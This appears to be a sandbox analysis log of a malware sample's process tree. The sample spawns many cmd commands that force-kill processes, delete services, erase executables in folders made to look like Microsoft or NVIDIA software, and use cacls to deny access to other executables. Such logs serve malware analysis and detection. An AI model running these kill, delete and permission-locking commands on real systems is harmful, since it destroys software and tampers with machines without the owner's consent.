C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft BnibabsProt\Gsmarn64.exe
2⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft BnibabsProt\*
2⤵
PID:3552

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BnibabsProt\Gsmarn64.exe
2⤵
PID:2188

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft BnibabsProt\Gsmarn64.exe
2⤵
PID:3592

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft BnibabsProt\Gsmarn32.exe
2⤵
PID:456

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft BnibabsProt\*
2⤵
PID:2660

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BnibabsProt\Gsmarn32.exe
2⤵
PID:1184

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft BnibabsProt\Gsmarn32.exe
2⤵
PID:3264

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft BnibabsProt00\*
2⤵
PID:4144

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BnibabsProt00\Gsmarn64.exe
2⤵
PID:980

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft BnibabsProt00\Gsmarn64.exe
2⤵
PID:2556

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%Microsoft BnibabsProt00\Gsmarn64.exe
2⤵
PID:3844

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Globalan.exe
2⤵
PID:5104

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Globalan.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3984

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%\SystemSvlsa\Globalan.exe
2⤵
PID:1100

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemSvlsa\Globalan.exe
2⤵
PID:1472

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Globalan.exe
2⤵
PID:4256

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Globalan.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3632

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "NVIDIA SlibabaProtect GlobalSign"
2⤵
PID:4164

C:\Windows\SysWOW64\sc.exe
sc delete "NVIDIA SlibabaProtect GlobalSign"
3⤵
- Launches sc.exe
PID:4212

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "NVIDIA SlibabaProtect GlobalSign"
2⤵
PID:3216

C:\Windows\SysWOW64\sc.exe
sc delete "NVIDIA SlibabaProtect GlobalSign"
3⤵
- Launches sc.exe
PID:4940

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Nsmart64.exe
2⤵
PID:2248

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Nsmart64.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3144

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Nsmart32.exe
2⤵
PID:3408

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Nsmart32.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2356

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft AlibabaProt\Nsmart64.exe
2⤵
PID:2520

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im NGlobalan.exe
2⤵
PID:3388

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im NGlobalan.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3360

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft AlibabaProt00\Nsmart64.exe
2⤵
PID:3480

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft AlibabaProt00\Nsmart64.exe
2⤵
PID:2792

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft AlibabaProt00\*
2⤵
PID:3948

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%Microsoft AlibabaProt00\Nsmart64.exe
2⤵
PID:3952

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft AlibabaProt\Nsmart32.exe
2⤵
PID:2868

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft AlibabaProt\Nsmart32.exe
2⤵
PID:4728

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft AlibabaProt\*
2⤵
PID:1092

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft AlibabaProt\Nsmart32.exe
2⤵
PID:3016

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft AlibabaProt\Nsmart64.exe
2⤵
PID:2636

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft AlibabaProt\*
2⤵
PID:1936

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft AlibabaProt\Nsmart64.exe
2⤵
PID:3460

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemNvlsa\NGlobalan.exe
2⤵
PID:4952

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%\SystemNvlsa\NGlobalan.exe
2⤵
PID:480

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im NGlobalan.exe
2⤵
PID:4968

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im NGlobalan.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4508

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "NVIDIA AlibabaProtect GlobalSign"
2⤵
PID:4448

C:\Windows\SysWOW64\sc.exe
sc delete "NVIDIA AlibabaProtect GlobalSign"
3⤵
- Launches sc.exe
PID:4540

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "NVIDIA AlibabaProtect GlobalSign"
2⤵
PID:3192

C:\Windows\SysWOW64\sc.exe
sc delete "NVIDIA AlibabaProtect GlobalSign"
3⤵
- Launches sc.exe
PID:3980

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im NVDispla64.exe
2⤵
PID:4604

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im NVDispla64.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3288

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\NVDispla64.exe
2⤵
PID:3552

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft NctiveStec\NVDispla64.exe
2⤵
PID:4488

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft NctiveStec00\NVDispla64.exe
2⤵
PID:2112

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft NctiveStec00\NVDispla64.exe
2⤵
PID:5020

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec00\*
2⤵
PID:4492

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%Microsoft NctiveStec00\NVDispla64.exe
2⤵
PID:2900

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft NctiveStec\NVDispla64.exe
2⤵
PID:528

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\*
2⤵
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Nvdskrais.exe
2⤵
PID:1484

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Nvdskrais.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5060

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemBols\*
2⤵
PID:4892

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemBols\Nvdskrais.exe
2⤵
PID:1100

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%SystemBols\*
2⤵
PID:1560

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%SystemBols\Nvdskrais.exe
2⤵
PID:1456

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im NVDispla64.exe
2⤵
PID:380

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im NVDispla64.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft NctiveStec\NVDispla64.exe
2⤵
PID:3740

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft NctiveStec\NVDispla64.exe
2⤵
PID:2604

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\*
2⤵
PID:2316

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft NctiveStec\NVDispla64.exe
2⤵
PID:3920

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Nvdskrais.exe
2⤵
PID:3176

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Nvdskrais.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "NVIDIA windows dribs container"
2⤵
PID:2356

C:\Windows\SysWOW64\sc.exe
sc delete "NVIDIA windows dribs container"
3⤵
- Launches sc.exe
PID:2508

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "NVIDIA windows dribs container"
2⤵
PID:2352

C:\Windows\SysWOW64\sc.exe
sc delete "NVIDIA windows dribs container"
3⤵
- Launches sc.exe
PID:1732

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Diskraid.exe
2⤵
PID:4344

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Diskraid.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5044

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemBols\Diskraid.exe
2⤵
PID:4912

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%SystemBols\Diskraid.exe
2⤵
PID:3688

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Sqltem64.exe
2⤵
PID:4276

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Sqltem64.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1736

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\Sqltem64.exe
2⤵
PID:4568

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SQL Server\Sqltem64.exe
2⤵
PID:2360

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\Sqltem64.exe
2⤵
PID:1140

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Diskraid.exe
2⤵
PID:988

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Diskraid.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:956

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "dorporati windows dribe diskraid"
2⤵
PID:744

C:\Windows\SysWOW64\sc.exe
sc delete "dorporati windows dribe diskraid"
3⤵
- Launches sc.exe
PID:1028

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "dorporati windows dribe diskraid"
2⤵
PID:1504

C:\Windows\SysWOW64\sc.exe
sc delete "dorporati windows dribe diskraid"
3⤵
- Launches sc.exe
PID:5076

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im AppVNice.exe
2⤵
PID:4460

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im AppVNice.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1452

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\SystemBols\AppVNice.exe
2⤵
PID:2180

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %systemroot%SystemBols\AppVNice.exe
2⤵
PID:3028

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Systen64.exe
2⤵
PID:220

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Systen64.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2452

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SystelApp\Systen64.exe
2⤵
PID:4588

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SystelApp\Systen64.exe
2⤵
PID:4288

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SystelApp\Systen64.exe
2⤵
PID:4872

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im AppVNice.exe
2⤵
PID:2776

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im AppVNice.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4708

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Norporati Windows AppVNice"
2⤵
PID:4432

C:\Windows\SysWOW64\sc.exe
sc delete "Norporati Windows AppVNice"
3⤵
- Launches sc.exe
PID:2340

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Norporati Windows AppVNice"
2⤵
PID:2308

C:\Windows\SysWOW64\sc.exe
sc delete "Norporati Windows AppVNice"
3⤵
- Launches sc.exe
PID:3556

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im taskger.exe
2⤵
PID:4612

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im taskger.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4480

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\taskger.exe
2⤵
PID:668

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\taskger.exe
2⤵
PID:4396

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im taskmgzr.exe
2⤵
PID:5104

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im taskmgzr.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3128

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\taskmgzr.exe
2⤵
PID:1032

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\taskmgzr.exe
2⤵
PID:1484

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\vget.vbs
2⤵
PID:1420

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\vget.vbs
2⤵
PID:3952

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im assm.exe
2⤵
PID:3972

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im assm.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3872

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls assm.exe /t /e /c /d everyone
2⤵
PID:3144

C:\Windows\SysWOW64\cacls.exe
Cacls assm.exe /t /e /c /d everyone
3⤵
PID:1464

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls assm.exe /t /e /c /d system
2⤵
PID:3632

C:\Windows\SysWOW64\cacls.exe
Cacls assm.exe /t /e /c /d system
3⤵
PID:1576

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SqlManagement.exe
2⤵
PID:2744

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SqlManagement.exe
3⤵
- Kills process with taskkill
PID:1112

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls SqlManagement.exe /t /e /c /d everyone
2⤵
PID:636

C:\Windows\SysWOW64\cacls.exe
Cacls SqlManagement.exe /t /e /c /d everyone
3⤵
PID:2868

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls SqlManagement.exe /t /e /c /d system
2⤵
PID:1836

C:\Windows\SysWOW64\cacls.exe
Cacls SqlManagement.exe /t /e /c /d system
3⤵
PID:4384

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SystemManagement.exe
2⤵
PID:1092

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SystemManagement.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4700

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls SystemManagement.exe /t /e /c /d everyone
2⤵
PID:1556

C:\Windows\SysWOW64\cacls.exe
Cacls SystemManagement.exe /t /e /c /d everyone
3⤵
PID:3776

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls SystemManagement.exe /t /e /c /d system
2⤵
PID:3484

C:\Windows\SysWOW64\cacls.exe
Cacls SystemManagement.exe /t /e /c /d system
3⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im msinfo.exe
2⤵
PID:3016

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msinfo.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2376

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls msinfo.exe /t /e /c /d everyone
2⤵
PID:3496

C:\Windows\SysWOW64\cacls.exe
Cacls msinfo.exe /t /e /c /d everyone
3⤵
PID:2828

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls msinfo.exe /t /e /c /d system
2⤵
PID:4952

C:\Windows\SysWOW64\cacls.exe
Cacls msinfo.exe /t /e /c /d system
3⤵
PID:3152

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im rundlls.exe
2⤵
PID:4276

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im rundlls.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2148

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls rundlls.exe /t /e /c /d system
2⤵
PID:980

C:\Windows\SysWOW64\cacls.exe
Cacls rundlls.exe /t /e /c /d system
3⤵
PID:3180

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoy.exe
2⤵
PID:4740

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoy.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3148

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls rundlls.exe /t /e /c /d everyone
2⤵
PID:4352

C:\Windows\SysWOW64\cacls.exe
Cacls rundlls.exe /t /e /c /d everyone
3⤵
PID:2276

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls conhoy.exe /t /e /c /d everyone
2⤵
PID:2208

C:\Windows\SysWOW64\cacls.exe
Cacls conhoy.exe /t /e /c /d everyone
3⤵
PID:2520

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls OmdBase.exe /t /e /c /d system
2⤵
PID:5084

C:\Windows\SysWOW64\cacls.exe
Cacls OmdBase.exe /t /e /c /d system
3⤵
PID:3500

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls OmdBase.exe /t /e /c /d everyone
2⤵
PID:4756

C:\Windows\SysWOW64\cacls.exe
Cacls OmdBase.exe /t /e /c /d everyone
3⤵
PID:312

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im OmdBase.exe
2⤵
PID:1512

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im OmdBase.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3916

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im System.exe
2⤵
PID:4132

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im System.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls System.exe /t /e /c /d system
2⤵
PID:1440

C:\Windows\SysWOW64\cacls.exe
Cacls System.exe /t /e /c /d system
3⤵
PID:4996

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im spoolys.exe
2⤵
PID:4852

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im spoolys.exe
3⤵
- Kills process with taskkill
PID:1576

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im OmdBase.exe
2⤵
PID:1856

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im OmdBase.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4272

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls System.exe /t /e /c /d everyone
2⤵
PID:4508

C:\Windows\SysWOW64\cacls.exe
Cacls System.exe /t /e /c /d everyone
3⤵
PID:4312

C:\Windows\SysWOW64\cmd.exe
cmd /c Cacls conhoy.exe /t /e /c /d system
2⤵
PID:3436

C:\Windows\SysWOW64\cacls.exe
Cacls conhoy.exe /t /e /c /d system
3⤵
PID:2040

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Windows DVD Maker"
2⤵
PID:4648

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Windows DVD Maker"
3⤵
- Launches sc.exe
PID:380

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Windows DVD Maker"
2⤵
PID:856

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Windows DVD Maker"
3⤵
- Launches sc.exe
PID:860

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft Maker\OmdBase.exe
2⤵
PID:5080

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Maker\OmdBase.exe
2⤵
PID:3984

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft Maker\OmdBase.exe
2⤵
PID:208

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im GthUdTask.exe
2⤵
PID:1888

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im GthUdTask.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3972

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Assemblies GthUdTask"
2⤵
PID:5040

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1112

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Assemblies GthUdTask"
3⤵
- Launches sc.exe
PID:1084

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Assemblies GthUdTask"
2⤵
PID:3236

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Assemblies GthUdTask"
3⤵
- Launches sc.exe
PID:1508

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft GthUdTask\GthUdTask.exe
2⤵
PID:3872

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft GthUdTask\GthUdTask.exe
2⤵
PID:3948

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im BthUdTask.exe
2⤵
PID:3976

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im BthUdTask.exe
3⤵
- Kills process with taskkill
PID:4188

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft GthUdTask\GthUdTask.exe
2⤵
PID:3460

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft BthUdTask\BthUdTask.exe
2⤵
PID:4336

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Assemblies BthUdTask"
2⤵
PID:1552

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Assemblies BthUdTask"
3⤵
- Launches sc.exe
PID:312

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Assemblies BthUdTask"
2⤵
PID:1220

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Assemblies BthUdTask"
3⤵
- Launches sc.exe
PID:3712

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft BthUdTask\BthUdTask.exe
2⤵
PID:1836

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BthUdTask\BthUdTask.exe
2⤵
PID:1008

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SvidaPctb.exe
2⤵
PID:880

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SvidaPctb.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4952

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SvidaPctb\SvidaPctb.exe
2⤵
PID:4356

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SvidaPctb\SvidaPctb.exe
2⤵
PID:1460

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SvidaPctb\SvidaPctb.exe
2⤵
PID:2848

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im WavesSys.exe
2⤵
PID:4848

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im WavesSys.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4192

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Assemblies WavesSys"
2⤵
PID:544

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Assemblies WavesSys"
3⤵
- Launches sc.exe
PID:3360

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Assemblies WavesSys"
2⤵
PID:4448

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Assemblies WavesSys"
3⤵
- Launches sc.exe
PID:2504

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im System.exe
2⤵
PID:3952

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im System.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4844

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft StuSystem\System.exe
2⤵
PID:4352

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft StuSystem\System.exe
2⤵
PID:532

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft StuSystem\System.exe
2⤵
PID:552

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Nvdxgiwrap.exe
2⤵
PID:928

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Nvdxgiwrap.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4696

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Windows Nvdxgiwrap"
2⤵
PID:332

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Windows Nvdxgiwrap"
3⤵
- Launches sc.exe
PID:4924

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Windows Nvdxgiwrap"
2⤵
PID:456

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Windows Nvdxgiwrap"
3⤵
- Launches sc.exe
PID:4500

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Windows Rsytvcem"
2⤵
PID:1484

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Windows Rsytvcem"
3⤵
- Launches sc.exe
PID:4752

C:\Windows\SysWOW64\cmd.exe
cmd /c sc delete "Corporati Windows Rsytvcem"
2⤵
PID:1416

C:\Windows\SysWOW64\sc.exe
sc delete "Corporati Windows Rsytvcem"
3⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:1576

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Rsytvcp.exe
2⤵
PID:4708

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Rsytvcp.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3688

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft Rsytvcem\Rsytvcp.exe
2⤵
PID:1844

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im Systen64.exe
2⤵
PID:220

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Systen64.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2268

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Rsytvcem\Rsytvcp.exe
2⤵
PID:4256

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft Rsytvcem\Rsytvcp.exe
2⤵
PID:2660

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SystenApp\Systen64.exe
2⤵
PID:1260

C:\Windows\SysWOW64\cmd.exe
